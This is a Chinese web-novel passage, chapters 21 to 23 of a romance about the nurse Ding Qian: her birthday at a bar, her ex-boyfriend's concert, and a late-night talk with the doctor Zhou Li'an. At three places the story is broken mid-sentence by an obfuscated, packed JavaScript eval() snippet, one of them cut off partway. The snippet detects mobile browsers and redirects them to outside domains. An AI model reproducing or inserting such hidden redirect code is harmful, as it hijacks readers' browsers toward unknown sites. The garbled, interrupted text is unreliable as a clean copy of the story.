镜子里的姑娘顿时鲜艳起来，明媚的脸蛋，精致的妆容，一切都很符合她今日的心情，但丁浅就是觉得还缺少了点东西。 左思右想，发现耳朵上的耳钉并不合适，她一把摘下换了夸张的大耳圈。 收拾妥当，丁浅提早来了不夜城。 刚过五点，酒吧刚刚开门。 江洛正坐在吧台里核对账目，噼里啪啦按计算器的声音似乎下一秒就能冒出火花，速度之快当真有点出人意料。 “哟，挺难得啊！”丁浅靠在吧台边，盯着一堆数字的账本笑道。 江洛头没抬，眼睛盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416399|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前一串串的数字，却抬手指了下旁边，“有饭，你先吃。” 丁浅也不客气，坐到她旁边扒开一盒牛肉滑蛋饭慢慢吃着。 味道不错，尤其还是热的。 丁浅吃差不多的时候，江洛才合上账本。 “唉！我要知道这账得自己算，高低好好学习。”江洛扒开另一个盒子，明显感到吃力。 “找个会算账的男朋友不就行了？” “说的简单。”江洛摇摇头，想起什么似的突然问：“对了，你那天相亲遇没遇到帅哥？” “又矮又胖。”丁浅果断开口，不带一丝犹豫。 “稍微顺眼点的呢？” “年纪有点大。” 江洛不知内情，只觉得这话从丁浅嘴里说出来特别好笑。 “浅浅，你也太不给别人面子了。” …… 没聊多久，陆陆续续有客人进来，今天恰好周六，人比往常要多得多。 江洛吃完饭就过去接待客人，短时间内没办法抽身，丁浅随便找了张空位坐下，打算边听歌边等着。 陈越过来的时候丁浅正一个人啜着鸡尾酒，小口小口，权当乐趣。 “寿星今天这么孤单啊？”陈越也不拘束，拉了凳子坐到一旁。 “陈哥你再不来，我真怕这位置被别人占了。”丁浅眯着眼，笑嘻嘻地开他玩笑。 “不穿那身护士服就是不一样，我越来越觉得你就不适合被关在医院里。” “你还不应该被关在银行的铁房子里呢！” “我那是为钱，能一样？” “我这可是救人性命，谁更伟大？” 陈越说不过，摆手直接叫了服务生：“来一瓶红酒，要你们老板珍藏的。” 服务生认识陈越，一听他开口顿时咧开嘴，露出一口整齐的白牙。 红酒刚倒上，江洛的声音充斥耳膜。 “今天是我姐妹生日，全场八折！” 气氛俨然到了另一个节点，江洛抬手指着丁浅所坐的位置，“欢迎我们的小魔女！” 丁浅不爱这个称呼。 用她自己的话来说，自己不算妖娆多姿的美女，可江洛时常会在微信上这么称呼她。 久了，她也就当成是另一种赞美。 尤其她今天戴了顶牛仔蓝色的贝雷帽，古灵精怪，还真有几分贴切。 应对这种欢呼要比应付别人的夸赞更加游刃有余，丁浅喝了一口红酒，接过话筒翻身上台。 台下，陈越拿着手机正往外走。 “哥，你找我？”隔着大厅，陈越才接通。 “在哪？” “不夜城。” “除了酒吧，你是没有其他爱好了？”周黎安一听地址，难得训斥了两句。 “今天周末，放松放松也不行？”陈越不以为然，瞧一眼身后舞台上正在调整话筒的姑娘，“同样都是医护工作者，人小丁怎么就知道劳逸结合，到你这就一板一眼，不至于差这么多吧？” 周黎安愣了一秒，“她也在？” “人过生日，你说呢？” 熟悉的嗓音源源不断落在耳畔，随之还有陈越的说话声。 他开始苦口婆心劝说周黎安：“哥，今天周六，你要没事就过来坐会，不至于影响周一正常工作。” 21. 021 周黎安刚从健身房出来，发现那两张西餐劵还在副驾驶的位置上躺着，这才想起要给陈越打电话。 一听对方又去酒吧，他没来由皱眉。 周黎安对酒吧莫名排斥，总觉得是些不正经人才会光顾的地方。可听说丁浅也在，他居然鬼使神差打了一把方向，直奔不夜城。 / 丁浅心情不错，连唱了三首快节奏的流行歌曲，等到要唱第四首时，意外发现旋律居然换了。 “这歌——”她歪着脑袋，意味深长看着台下某处，发现江洛正抱着双臂一脸坏笑，丁浅眉目低垂，嘴角似有笑容溢出。 “你们老板啊，可真坏。”丁浅毫不留情揭穿江洛的心思，“好多年没唱了，确定要听？” “要——” 丁浅架上话筒，笑得无奈，“跑调我不负责。” 伴奏音乐是刘德华的《17岁》，她高中参加校园歌唱比赛获奖的一首歌。 那时候丁浅刚学会唱粤语歌，想都没想就选了这首练手，谁知还得奖了。 刚唱第一句，周黎安从门外进来。 突如其来的灯光晃得人眼发涨，与之一同映入眼帘的还有台上耀眼夺目的姑娘。 她安静地站在舞台中央，双眼微微眯起，在看到周黎安的身影后，缓缓抬手隔空和他打了声招呼。 “哥，这边！”陈越眼尖，发现丁浅的小动作之后，第一时间发现了周黎安。 “周主任，好久不见！”江洛大大方方打了声招呼，转身吩咐服务生送了热柠茶过来。 “小丁唱歌是不是挺有天赋？”察觉周黎安的目光停在台上，江洛似在炫耀。 “我对唱歌没有太多研究。”匆匆扫了一眼，周黎安将视线收回。 “哎……好多年没听她唱过了。”江洛喝着酒自顾自地叹了口气。 “背后还有我不知道的故事？”陈越不知其中原因，直盯着江洛问。 江洛不愿意揭人伤疤，摇摇头，只说是高中参加校园歌唱比赛唱过的一首歌。 “她人没过来，要不透露点？”陈越指着刚刚周黎安给的西餐劵，试图以此做诱饵听段故事，好话说尽，江洛嘴严得很。 “切，谁还没个故事！”陈越气呼呼地喝了一大口红酒，转手仍将西餐劵推到江洛跟前。 “拿去，你跟浅浅去吃。” “我才不要，你留着陪你那些个姐姐妹妹的去吃好了。” 陈越急了，尤其还当着周黎安的面。 “给你就拿着，矫情什么！” “你这人——” 江洛脾气上来正要撸起袖子和人干仗，此时丁浅从台边跳了下来。 “打架呢？”丁浅说着将人拉开坐下，顺手拿了旁边的空杯子给自己倒了杯热柠茶。 “我好心送她西餐劵，人不领情。”陈越见势巧妙转移话题，眼睛一动不动盯着丁浅，似乎在请求她帮忙。 丁浅凑过去，正是那天周黎安挑走的那两张。 她抬头疑惑地看了一眼对面，见周黎安正朝她点头，丁浅瞬间明白过来。 “你们俩去吃得了。我看这上面备注了餐劵得一男一女去才能核销。” “我才不去。”江洛赌气。 “江洛你这就不够意思了吧，我那天千里迢迢陪你去外地谈生意，你这倒好，一点面子不给我？”陈越越想越生气，闷着头连喝了两杯。 “去去去，去还不行嘛，比女人还啰嗦！” 陈越向来懂得收敛，见江洛已经给他台阶，当场就和对方约好时间，生怕江洛临时反悔。 想到老太太之前怎么都不肯告诉他，周黎安牵手了什么样长相的女嘉宾，陈越各种好奇，他用胳膊拱了拱丁浅，试探性问：“江洛说你替她去参加了一场相亲活动，是不是初七那场？” “嗯，有什么问题？”丁浅佯装镇定。 “我靠！”陈越跟个摘到香蕉的猴子似的，一下子从座位上跳起来，他一会指了指周黎安一会又看丁浅。 视线来来回回，终于确定一件事。 丁浅以为她跟周黎安互选一事被人知道，正要开口解释，陈越突然拉着丁浅，一脸兴奋，“那你快点告诉我，那天我哥牵的姑娘长什么样？” “啊？” 反转来得突然，丁浅酝酿已久的事好像逐渐偏离了轨道。 “外婆只说我哥牵手了位护士，怎么样长得漂不漂亮？” “少说两句。”周黎安薄唇抿成了直线。 陈越不以为然，“反正你也不喜欢护士，说说怎么了，对吧浅浅？” 丁浅象征性点点头，胡扯道：“长得…有点胖。” “我哥品味这么差？” 丁浅只觉得尴尬，尤其陈越一脸不信。 “可能…可能你得问你哥。”她小声指了指旁边。 本打算把这个烫手山芋扔出去，谁知江洛在这个时候插话进来，丁浅瞬间有种想要跳江的冲动。 “要我说，全场肯定就我们浅浅最好看了。”浑然不知真相的女人托着丁浅那张小脸，开始比划：“浅浅高中可是校花级别的，她说男嘉宾长得又胖又矮，那女嘉宾肯定也没什么看头。” “又胖又矮？”周黎安把话放在嘴边琢磨。 江洛没听出周黎安话里的意思，自顾往下又说：“浅浅说长得还行的年纪都偏大。” “江洛！”丁浅听不下去，赶紧伸手去捂江洛的嘴巴。 “知道你怕周主任，但那不是事实吗？”江洛将丁浅的手拿开，看一眼周黎安，乖乖住嘴。 周黎安坐在丁浅对面，自从刚刚江洛说过那话之后，一直用高深莫测的眼神看她。 任她想要装作不知，也无济于事。 “我去趟洗手间。”丁浅推了椅子，快速离席。 洗手间远离大厅，气氛相对没有那么热闹。 丁浅洗了手之后并没有立马回去。 她站在过道上左思右想，最终打算给周黎安发条消息道歉，手机刚刚拿出来，就被一只大手给腾空抽走。 那只手骨节分明，被修剪干净的指甲上清清楚楚看得见泛白的小月牙，白皙的手背略有些凸起的青筋，算是一只好看的男人的大手。 “你干什——”‘么’字还卡在嗓子眼，丁浅看见了周黎安，而她的手机——正在他手上。 “周主任——” “这个时候想到要道歉了？”他将手机锁屏，自然递过来。 丁浅连忙收进口袋。 “我还不是为了不露出破绽。”她小声嘀咕。 “那就能睁着眼睛说瞎话？” 在逐渐适应酒吧的氛围之后，周黎安已经不像来之前那般一板一眼。 他半俯下身，饶有趣味地盯着面前那脸泛红晕的姑娘。 丁浅生的乖巧，尤其今天这件明黄色针织小衫，稚嫩的像是刚出校园的女大学生。 她垂着脑袋，眼睛不知在看何处。 “我也贬低自己了。” “嗯？” 大厅里，欢呼声一阵一阵，盖住了丁浅没有底气的说话声，周黎安只听了个大概，此时笑着凑近，问：“那跟我有什么关系？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427059|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我——”丁浅抬头正想反驳，意外落进一双略带探究的瞳孔里。 那双眼分明带着笑，是前所未有的周黎安。 丁浅看得入神，浑然不知自己的表情被人误解。 “既然我又矮又胖年纪还大，不至于让你盯这么长时间。”周黎安侧身从她面前经过，似在提醒：“早点回家。” 之后进了洗手间。 回到大厅，丁浅才知道周黎安是特意过来送西餐劵，去完洗手间他并没有再回来，丁浅这才反应他大概率已经走了。 心里某处意外空落，总像是吃饭没吃到尽兴，喝酒没喝到痛快，情绪来的莫名其妙。 持续到十一点，丁浅吃不消打算回去。 和江洛打了声招呼，丁浅正要出门打车，却被一把叫住。 “浅浅”江洛欲言又止，琢磨半天才把今天为什么要给她点歌这事交代出来。 “我看你今天唱歌还挺高兴的，所以有件事，我觉得应该让你知道。” “什么？” “顾西沉三月要回苏城开唱，群里一帮同学都在跟他要演出门票。我知道你退群了，但——” 剩下的江洛没说，她知道丁浅懂她要说什么。 “去，我的青春我当然得去！”丁浅莞尔一笑，“这事我其实早就知道了，不过我不打算借用他的同学关系。” “那肯定啊。”江洛一听浑身起了斗志，“谁要占这层便宜，才不要跟他有什么瓜葛！” 江洛拍拍胸脯，“这事包在我身上，回头我就找陈越打听去，他路子广。” “有消息告诉我一声。” / 周黎安回到家才发现自己把正事给忘了。 老太太千叮咛万嘱咐让他问丁浅面包哪里买的，今日才想起。 他看一眼手机，算不上太晚，何况那姑娘也不见得回去，周黎安快速编辑了一条微信，发送过去： 【面包在哪买的，老太太说适合她的口味。】 隔了好久也没收到回复，周黎安干脆作罢，拿了换洗衣服进了卫生间。 洗完澡出来，手机上仍然没有消息。猜到丁浅指定玩疯了，周黎安将手机搁在床头柜上关灯入睡。 接近十一点半，他刚刚产生睡意的时候，黑暗中发出一阵亮光。 床头柜上，“叮”地一声。 周黎安伸手拿到眼前，正是丁浅发来的购买链接。 他点开顺带加进购物车，没打算回复。 但令他意外的是，链接发完紧跟着还有一条文字消息： 【我对自己的错误言论郑重跟您道歉，对不起。】 后面附带三个跪着的小人表情。 态度确实诚恳，如果没有那三个表情的话。 周黎安莫名想笑。 联想上回无意窥见她和钱唐的聊天记录，周黎安看看眼前的微信界面，总觉得还是有些区别。 认错对象若是换个人，跪着的表情包可能会夸张百倍。 【今天你最大，免了。】周黎安回。 丁浅的消息进来的很快，几乎周黎安刚点了发送，她的消息就跟着过来： 【您没睡？】 【不好意思啊，是不是打扰到您休息了？】 周黎安：【没事。】 丁浅：【那…祝您晚安。】 ‘祝您晚安’？祝福的话能这么用？ 周黎安思考一会，将丁浅的话长按进行引用，紧跟着在对话框里输入： 【那…祝你生日快乐。】 附带一个插着蜡烛的蛋糕表情。 22. 022 第二天一早，江洛就给陈越打了通电话，事还没来得及说，就被没睡醒的陈越一阵埋怨。 “能不能考虑一下打工人的心情啊，难得周末用得着一大早给我打电话吗？” “用得着！”江洛一觉睡到七点，起来上完厕所突然想起演唱会一事，怕自己转头就给忘了，没考虑时间，当即就拨了过去。 “到底什么事？” “演唱会门票，有没有办法弄到？”江洛直接了当开口：“顾西沉的，三月份在咱们苏城。” “你都能大早上给我打电话了，就是没有也得想办法给你变出来！” “两张。最好第一排，待会我把身份信息发过来。” 陈越无法理解，为这么个事有必要大清早给他打电话？直到他上网搜索一番，才恍惚觉得这其中好像有点什么他不知道的秘密。 他不追星，还是最近陆陆续续听身边年轻女同事提起，才知道有顾西沉这号人物。 女同事表示自己跟顾西沉毕业于同一所高中，工作之余没少给他们灌输对方的“生平事迹”。 “他这么牛掰？”陈越满脸不信。 “牛是一回事，关键人家还偷偷恋爱了三年呢！”女同事比划着三根手指，“你能想象得到么，顾西沉高中三年就谈了这么一个女朋友，成绩没掉又没被老师发现，换你你做得到？” “你怎么知道？” “我哥哥跟他一个班的，他们有个群经常会聊些往事。” “那他女朋友呢？”相比顾西沉，陈越对那个传闻中跟他恋爱的女生更加感兴趣。 “女朋友啊——”女同事苦苦思考了一会，“我哥只说顾西沉当时的女朋友唱歌也很好听，不过高考之后就分开了，关于内情他们一致缄口不提。” 陈越想到了丁浅。 这事跟他无关，但江洛也去，他就没办法装作无动于衷。 陈越自从和江洛一块约着跨年之后，就开始对她产生了某种情愫。 有事无事总爱往酒吧跑，上心程度连酒吧那些个年轻的服务生都私下打趣他，称他是老板的家里人。 陈越不在意这些，一听江洛要去外地谈生意，更是放下工作千里迢迢过去陪她应酬，到最后被人灌得烂醉。 酒醒之后，他终于意识内心，打算表白。 演唱会算是一个可以跟她近距离接触的机会，陈越左思右想觉得自己一个大男人跟两位女生同去有些奇怪，最终决定给表哥周黎安打电话求救。 “哥，演唱会有没有兴趣？”这话问出来之后，陈越自己都觉得尴尬。 周黎安那么古板的男人，喜好怎么可能跟小年轻一样。 “没兴趣。” 果真，跟他想的一样。 直接了当的方式行不通，陈越打算换个套路。 “哥，帮个忙呗！”电话里，陈越各种卖惨，不惜把自己近段时间以来的所有努力通通都给说了，试图博取周黎安的同情。 “你就没有其他朋友？”周黎安刚下班，全身上下透着浓烈的班味，根本无心听他诉苦。 “有啊，但他们都不认识丁浅。”陈越解释：“浅浅身边除了江洛我就只认识你，看在不花你钱的份上帮我一回，求求你了哥！” “我需要占你那点便宜？” “不不不，是我郑重邀请你，是我想占你的便宜好谋取我的幸福，这样总可以了吧？” “哪天？” “周末，我肯定定周末的票！”一听周黎安松口，陈越赶紧表态，生怕慢了一秒对方就会反悔。 周黎安愿意凑这种热闹，说到底还是被那身紫色护士服给影响了。 近段时间，他的脑海里时常会冒出那抹紫色的身影，夹杂着纯真的笑容，时不时在他眼前晃荡。 周黎安想过刻意回避，想着时间久了某种感觉或许就会变淡，然而上天根本不按常理出牌，每次遇上事，无一幸免都跟她产生瓜葛。 一次两次，等到第三次周黎安再也无法当她是普通的同事关系。 他其实也想看看，在完全脱离工作的状态下，他能接受年轻人喜好的程度到底有多少。 / 陈越办事效率极高，没出一周，就把演唱会门票一事给敲定了。 三月二十号下午，陈越接了江洛丁浅一同前往体育馆。 刚上车，他就注意到后排江洛的变化，他抬手指着她的头发，满脸震惊，“看个演唱会，没必要整这么隆重吧？” “一看就是没去过演唱会。”江洛朝他翻翻白眼，示意对方赶紧开车。 不怪陈越表情这么夸张，实在是江洛的打扮属实前卫。 她不仅在头发丝里缠上粉色的假发片，连眼影都是夸张的粉红色，来之前甚至买了条粉色背带裤，实打实要走浮夸路线。 相比江洛，丁浅几乎简单的如同杯子里的白水。 一件米色针织短衫，一条咖色半身长裙，黑色毛衣搭在臂腕，脸上的妆容干净清爽，是她往日在重要场合时的习惯。 丁浅打扮的越低调，陈越越觉得匪夷所思，尤其他偷偷了解过顾西沉的年纪。 “顾西沉是咱们苏城人，跟你们差不多岁数，别你们认识吧？”陈越装作不经意，看着后视镜。 江洛看了丁浅一眼，眼神有些谨慎。 “校友。”丁浅开口。 得到这个答案，陈越知道剩下都是不该问的，于是老老实实专心开车。 三人到达体育馆，周围已经聚集了不少顾西沉的粉丝。 几乎清一色，都是年纪轻轻的姑娘。 “这么看，你还算正常。”陈越啧啧两声，目光巡视一圈，那些姑娘脸上的妆容要比江洛夸张一百倍。 排队的过程中，陈越接了一通电话，没多一会儿，周黎安来了。 “周主任？”丁浅走神，率先注意到不远处的男人。 周黎安穿着一身休闲装，正从远处缓缓走来。 “哥，这边！”陈越朝人招招手，赶紧迎了上去。 “周主任也来凑热闹？”江洛感到诧异，开口笑问。 “得问陈越。”周黎安轻松一句话，把烂摊子推到陈越身上，自己手插口袋站在一旁。 周黎安就是有这样的本事，再尴尬的处境都能泰然处之。 相反，陈越的举动就显得格外被动。 他支支吾吾，各种幌子用尽，最终也没说出个所以然来。 好在江洛无心听他解释，心思早已被前面不远处的化妆摊位勾了去。 “浅浅，时间还早我们要不要过去看看？” 丁浅顺着江洛的目光，原来是帮忙做发型的摊位，前面围了好些个姑娘。 “不太想去。”丁浅摇摇头，委婉拒绝。 刚出门那会，她的心情其实还算不错，越接近体育馆大门她才越加不舒服。 尤其刚刚，她看见周围那些粉丝手里的巨型海报，上面印着顾西沉高中那会的照片。 意气风发的少年，即便自己扔掉所有关于他的回忆，丁浅还是被那张照片给影响了。 江洛知道丁浅的心思，拍拍她的手表示自己过去瞧两眼就回来，保证不会太久。 “你想编个头发也行，我帮你占着位置。” “我去去就来。”江洛笑眯眯地走了。 心仪的姑娘离开，陈越哪里还待得住，他快速追了过去。 两人吵吵嚷嚷的背影属实好笑，丁浅歪着脑袋看了半天，心里那阵不舒服才逐渐散了下去。 “怎么不去？” 四人所站的空间一下子变得宽敞，周黎安往前跨了半步，留足安全距离后，看着站在自己跟前的姑娘。 “我这身衣服不搭。”丁浅目光仍然落在远处，随口编了句假话。 “我看你是心情不好。” 丁浅身子有些僵硬。 她木讷地转头，周黎安依旧面无表情，除了那双眼。 深棕色的瞳仁似一轮皎洁的明月，能将人心照亮。 丁浅从不敢跟周黎安长时间对视，她害怕那双眼睛，没来由会有紧张感。 眼下也不例外，她匆匆对上又慌忙移开，扭过头直接忽视。 周黎安却没给她机会，单脚上前跨了一步，半边身子越过她的右肩，只单单说了句：“玩是为了放松，没必要勉强。” “您想多了。”肩膀微微塌陷，丁浅没去看身后。 / 演唱会推迟了接近半个小时。 江洛耐心用尽，早就和陈越坐在一块在打游戏。 丁浅无事可坐，安静地看着舞台，直到灯光暗下，舞台中央缓缓升起一架话筒。 “哈喽，苏城！”顾西沉从天儿降，稳稳立在话筒架前。 他着一身酒红色亮片西装，拆下话筒径直走到舞台最前方，笑着和台下粉丝打招呼。 丁浅一时入了迷，完全忘了来时做过什么样的心理准备。 这是她的青春，她无数次给自己做过心理建设，无论如何都要高高兴兴的告别，可真当对方站在跟前，一切又似乎没了任何意义。 “苏城是我的家乡，很高兴今天能在生我养我的地方唱歌，也希望今晚我能感受到你们的热情！” 演唱会正式开始，丁浅也彻底走神。 顾西沉一首接一首的唱着，丁浅除了眼神涣散之外，表情淡漠，根本不像粉丝行为。 周黎安不免揣测，这姑娘大概是被逼无奈才过来。 演唱会进行到一半，迎来了整场演出最令人激动的时刻。 顾西沉的惯例，总会把成名曲留在这个时候，美名其曰：要和大家共同重走青春。 今天也不例外。 当他把选择权交给身边的工作人员，只见大屏幕上粉丝争相挥手呼喊，好希望镜头能停在她们身上。 顾西沉边喘气边笑着和台下互动，“今天会听到什么样的故事，大家一起期待起来！” 江洛拿出偷偷准备好的大横幅，指挥陈越赶紧展开。 粉色的横幅自带荧光效果，混在五颜六色的荧光棒中格外拉风。 加上她坐在最前排，立马就被工作人员锁定。 “好，我们来看看这位幸运粉丝，她有什么样的故事要跟我们分享呢？”顾西沉转身看着大屏幕，缓缓读道：“青春不止你一个人受伤，还有我的姑娘！” “哦…这有点意思。”他笑着示意工作人员递上话筒。 “我最好的朋友，希望这首歌唱完她能往前走。”江洛声音有些发颤，说完直接将话筒塞到丁浅手里，双手替她紧紧拢着，生怕对方撒手。 “原来是友情。难能可贵，让我们先把掌声送给这位女生。” 无数道掌声随着灯光一块落下，丁浅眨了眨眼，对着舞台上还没反应过来的男生微微一笑。 “顾西沉，今天终于可以跟你站在同一个地方了。” “我也很幸运，遇到了你们。”顾西沉的注意力放在调整耳麦上，并没有太多心思去关注大屏幕。 于他而言，这个环节只是为了带动演唱会的气氛，他并不是真的要听那些青涩的回忆。 等了有一会儿也没听见回复，顾西沉恍惚觉得这位女生似乎不像他的粉丝，这才想到要抬头去看大屏幕。 眉眼弯弯，唇角含笑，跟初见时几乎一模一样。 愣怔过后，顾西沉快速调整好状态，他自我调侃一番：“看见美女突然走不动道了。” 台下一片笑声。 “请问你有什么样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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演唱会散场之后，丁浅正要起身去找江洛，刚刚站稳，身子突然被人从后面猛地撞了一下，她跌倒在座位上，眼睁睁看着好几位后排的粉丝跃上舞台，疯狂去堵刚刚离场的顾西沉。 有了先例，越来越多的粉丝跟着效仿，丁浅看着江洛给她比划的手势，只能作罢。 从座位上起身的时候，丁浅浅再次被人撞到胳膊，她揉着发疼的部位尽量缩短和别人之间的距离，奈何粉丝疯狂起来根本不受控制。 “过来。”一只大手在此时伸到丁浅面前，正从旁边经过的粉丝身前扯住她的胳膊。 下一秒，她被周黎安提到跟前。 甚至，周黎安往旁边侧了侧身，用身体给她隔开一堵人墙。 走出体育馆大门，空间一下子变大，丁浅脸上的燥热也被外界的冷风吹得差不多。 她将毛衣穿上，低声说了句谢谢。 手机在包里响起，是江洛的电话。 “浅浅，你们在哪呢？” “我们刚出大门。” “陈越说一块去吃夜宵，让你来车里集合。” 丁浅看一眼旁边，周黎安轻轻说了两个字“不去”。 “你跟陈越去吧，我打算去前面坐地铁，想早点回去。” “那行，你自己当心点，回家给我电话。”江洛没勉强，嘱咐几句就将电话挂了。 “你不去是正确的。”旁边，周黎安开口。 “为什么？”丁浅正将手机往包里放，放了一半听到周黎安的话，顿时停下动作，打算先从他脸上分析出点原因。 可那张脸实在寡淡，加上她自己根本不敢停留太久，导致话问出来后眼神也跟着一块转移。 “没看出来陈越的心思？” 丁浅摇摇头，她是真的不知道。 “过几天你就知道了。” 丁浅眨眨眼，周黎安并不打算继续往下说，她干脆打算就此跟他告别。 “刚刚谢谢您，我先走了。”丁浅腹中有些疼痛，她留意过，地铁站旁边有一家二十四小时的便利店，她打算进去买杯热饮，直接坐地铁回家。 “送你，顺路。”周黎安替她拒绝。 “啊，不用不用，我正好要去一趟便利店。”丁浅慌忙解释。 “我车停那，走吧。” 话已至此，丁浅拒绝不得。 两人一路走到便利店，丁浅看着近在咫尺的深蓝色招牌，打算请身边待会要送自己回去的男人吃点东西。 “周主任，您饿不饿，我请您吃东西。” 周黎安来之前提早吃过晚饭，此刻并没有太多食欲，他瞧一眼旁边表情真诚的姑娘，打算违背一次自己的意愿。 “进去看看。” 丁浅挑了一杯热可可，转身去找周黎安。 对方站在一排速食货架面前，正伸手拿下一块三明治。 “加热，谢谢。”他将手里的东西递到收银台。 丁浅也将手里的热可可放下，正要一并结账，周黎安提前打开了付款码。 “不是说好我请你吃东西吗？”丁浅有些迟钝，眼睁睁看着周黎安已经结完账。 “我不吃不算请客。”周黎安将三明治塞到她手上，叮嘱：“吃完上车。” “你怎么知道——” “既然好奇，那不妨再猜猜，我为什么默认你的行为？” “唰”地一下，丁浅脸红到了耳朵根。 她猜不透周黎安的情绪，但也知道莫名给人扣了‘男朋友’的头衔，多少有些不礼貌。 “对不起啊，我点头是因为他前面那句话，我——”丁浅有些难以启齿，她没办法直接把‘挡箭牌’三个字说出口。 总觉得，周黎安这么正经八百的人，应该不喜欢被人无端利用。 “故意的？” 月色下，周黎安满身透着清高淡漠的气息，似终年覆盖白雪的高山，凉意沁透肌肤，直让人牙齿打颤。 明明可以说谎，丁浅居然鬼使神差点了下脑袋。 或许她从来不会在神明面前说谎，丁浅缓慢而又郑重地解释：“顾西沉，他是我前男友。” 23. 023 周黎安想过无数种可能。 但唯独没想到，丁浅居然还有这么一段往事。 他对顾西沉不了解，但因为丁浅，周黎安生平做了一回追问者。 “喜欢唱歌是因为他？”话问出口时，连他自己都感到匪夷所思。 “不是。”丁浅将最后一点三明治都送进嘴里，鼓着腮帮直摇头，“是因为喜欢唱歌而喜欢他，不过那是高中的事情了。” “拒绝音乐公司也跟他有关？” “他在，我不想去。”丁浅喝了一口热可可，全身舒服之后人也变得主动起来。 对于个人隐私周黎安没有过多打听，见丁浅已经吃完三明治，他拉开车门，示意她上车。 驶离那条喧嚣热闹的马路，周围陡然变得安静。 车厢静谧，除了偶尔转弯会有“滴答滴答”的提示音，再没有其他声音。 越是这样的夜晚，丁浅越想找人倾诉，她把目光瞄准了正在开车的男人。 “有事直说。” 丁浅低着头，把玩着手里刚刚喝完的塑料纸杯。 “周主任，您开车会不会无聊？” “嗯？” “如果无聊的话，要不我给您讲一讲我的故事？我觉得还…挺疯狂的。” “挑你能接受的部分，其他不用勉强。” 得到允许，丁浅立马坐直，俨然把周黎安当成了今晚的倾诉对象，缓慢而冗长的说着她的那段青春。 “我跟顾西沉属于早恋，我们整个高中都在谈恋爱。不过，我们说好了不能影响学习，所以那三年我们各自都是班上的第一名。” “高三快毕业的时候，我们约定毕业后一起追求梦想，但很可惜分手了。” 周黎安转头看了一眼，丁浅的眼睛亮晶晶的，正望着前方，像是在回忆一段很久的往事。 “阿姨不同意。” “周主任，情绪价值不是您这样给的！”丁浅难得细声细语指责他，模样与周清颜撒娇有几分相似。 周黎安轻轻哼了一声，嘴角似被她的话给勾了一下，平静发问：“那应该怎样？” “算了，估计您也学不来。”丁浅摆摆手又接着往下说。 “我妈妈是中学语文老师，还挺古板的一个人，一直觉得我是在拿前途开玩笑，是不是还挺可笑的？” “丁浅，你要听我的想法么？”过了十字路口，周黎安才缓缓开口。 “您说。” “换我我也站阿姨这边。” “为什么？” “把感情算在前途里，本身就不可能长远。”周黎安的注意力都放在前方路况上，根本没有顾及丁浅越来越下沉的嘴角，甚至没有扭头看她一眼。 “前途是你为了某种信念而获得的成果，这其中使你成功的动力绝不可能是感情。” “校园恋情本身很好，一旦遇上争吵你会发现，这个世界上最可有可无的也是它。” “你们在一起三年，那我问你，后来为什么没有复合？” 丁浅哑口无言。 “真正喜欢，不可能做到老死不相往来。我相信，你们后来也都没有彼此复合的打算。” 长久的沉默，让气氛俨然降至冰点。 丁浅本身是想找人倾诉，到头来却被周黎安好好上了一课，还是找不到理由反驳的那种。 她承认，周黎安说的句句在理，但她就是心里不舒服，总觉得他没有顾及自己的想法。 “抱歉，一时把你当成我堂妹了，她以前就时常拎不清状况。”周黎安解释。 “没事。”丁浅摇摇头，将身子转到窗户边。 这几年，从没有人直接剖开问题本质，跟她分析这么多。 哪怕江洛，也只是在她难过想哭的时候陪她安慰她，却没有告诉她，一直错的其实是她自己。 每个人都无法逃脱青春的浩劫，丁浅以为她是幸运儿，却不知世间万物生来平等。 所有人在回头看时，都会认为来时的那段路意义非凡，殊不知那些看似长势喜人的枝条，根本经不起风吹雨打。 甚至，只要别人轻轻推上一把，它们就如一介干草，支离破碎。 昏暗如晦的车厢，情绪暗潮波动，清朗温润的嗓音弥漫四周，像是夜色下的一道光，将顶头的迷雾全部揭开。 面目全非的真相，并不是丁浅潜意识里所构建的理想王国。 那晚之后，丁浅一直扎根多年的心结被人连根拔起，她发消息向周黎安表示感谢，却得知对方已经出差。 / 江洛和陈越谈起了恋爱，时常当着丁浅的面大秀恩爱。 “陈哥你也敢让周主任给你打掩护，不怕被他的眼神杀死吗？”三人小聚，丁浅看着陈越一个接一个地剥着虾壳，忍不住吐槽。 “你不也活得好好的？”陈越投来一记白眼，“话说回来，你比我胆子大，敢拿我哥挡事。” 陈越自从知道丁浅和顾西沉的那段往事之后，没少打趣她。 用他的话来说，像她这么文静的姑娘，怎么看怎么不像能干得出这种事来。 “我都说了是凑巧。”丁浅强调：“而且我给你哥道歉了。” “他能原谅你？” 丁浅只记得后来两人说起别的，至于听没听进去她不知道。 “误会，不至于较真。”丁浅喝了一口啤酒，胡乱解释。 “哎呀，你说都是些什么事呀！”江洛绕过桌子坐到丁浅旁边，将人一把搂进怀里，“我是陪你去散心的，结果回来自己先谈起恋爱了。” “不挺好，我看陈哥人不错！”丁浅回抱住江洛，笑着去看陈越。 陈越知道丁浅这话玩笑的成分居多，为了配合两人情绪，他掏出手机让她们一同看向镜头，“快快快，给你们拍一张，发朋友圈让人猜猜谁是我女朋友！” 